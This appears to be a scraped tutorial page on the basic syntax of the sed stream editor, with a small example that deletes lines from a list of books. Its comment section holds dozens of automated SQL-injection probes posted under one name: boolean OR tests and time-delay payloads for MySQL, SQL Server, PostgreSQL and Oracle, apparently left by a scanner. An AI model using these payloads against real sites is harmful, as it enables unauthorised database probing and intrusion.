Stream Editor - Basic Syntax


Some of the basic commands that support SED and their command-line syntax are as follows.

\\This allows to specify the commands in-line and they are enclosed within single quotes.  
sed [-n] [-e] 'command(s)' files  
-------------------------------
-------------------------------
\\This allows to specify a script file that contains SED commands
sed [-n] -f scriptfile files


Note:we can use both forms together multiple times.

Examples

Let us create a text file lfc.txt that include the details of some famous books.

$ cat lfc.txt 
-------------------
-------------------
Output :- 
Walden, Henry David Thoreau
The Discovery Of India, Jawaharlal Nehru
The Algebra of Infinite Justice, Arundhati Roy
Bookless in Baghdad, Shashi Tharoor
Adventures of Sherlock Holmes, Sir Arthur Conan Doyle


As we all know that SED provides delete command to delete some lines. Now we will remove the first and the fourth line from the text file.

$ sed -e '1d' -e '4d' lfc.txt 
-------------------
-------------------
Output :- 
The Discovery Of India, Jawaharlal Nehru
The Algebra of Infinite Justice, Arundhati Roy
Adventures of Sherlock Holmes, Sir Arthur Conan Doyle






Visit :


Discussion



* You must be logged in to add comment.

pHqghUme
555

pHqghUme
555

pHqghUme
555

pHqghUme
-1 OR 2+691-691-1=0+0+0+1 --

pHqghUme
-1 OR 3+691-691-1=0+0+0+1 --

pHqghUme
-1 OR 3*2<(0+5+691-691) --

pHqghUme
-1 OR 3*2>(0+5+691-691) --

pHqghUme
-1 OR 2+964-964-1=0+0+0+1

pHqghUme
-1 OR 3+964-964-1=0+0+0+1

pHqghUme
-1 OR 3*2<(0+5+964-964)

pHqghUme
-1 OR 3*2>(0+5+964-964)

pHqghUme
-1' OR 2+390-390-1=0+0+0+1 --

pHqghUme
-1' OR 3+390-390-1=0+0+0+1 --

pHqghUme
-1' OR 3*2<(0+5+390-390) --

pHqghUme
-1' OR 3*2>(0+5+390-390) --

pHqghUme
-1' OR 2+381-381-1=0+0+0+1 or '48bXxNCy'='

pHqghUme
-1' OR 3+381-381-1=0+0+0+1 or '48bXxNCy'='

pHqghUme
-1' OR 3*2<(0+5+381-381) or '48bXxNCy'='

pHqghUme
-1' OR 3*2>(0+5+381-381) or '48bXxNCy'='

pHqghUme
-1" OR 2+876-876-1=0+0+0+1 --

pHqghUme
-1" OR 3+876-876-1=0+0+0+1 --

pHqghUme
-1" OR 3*2<(0+5+876-876) --

pHqghUme
-1" OR 3*2>(0+5+876-876) --

pHqghUme
if(now()=sysdate(),sleep(15),0)

pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme
-1; waitfor delay '0:0:15' --

pHqghUme
-1); waitfor delay '0:0:15' --

pHqghUme
1 waitfor delay '0:0:15' --

pHqghUme
b9carvfa'; waitfor delay '0:0:15' --

pHqghUme
-5 OR 299=(SELECT 299 FROM PG_SLEEP(15))--

pHqghUme
-5) OR 843=(SELECT 843 FROM PG_SLEEP(15))--

pHqghUme
-1)) OR 928=(SELECT 928 FROM PG_SLEEP(15))--

pHqghUme
lO7dzF37' OR 952=(SELECT 952 FROM PG_SLEEP(15))--

pHqghUme
jW4hyo2I') OR 991=(SELECT 991 FROM PG_SLEEP(15))--

pHqghUme
mzWPiYmY')) OR 443=(SELECT 443 FROM PG_SLEEP(15))--

pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme
1'"

pHqghUme

pHqghUme
@@sgwAb

pHqghUme
555

pHqghUme
555

pHqghUme
555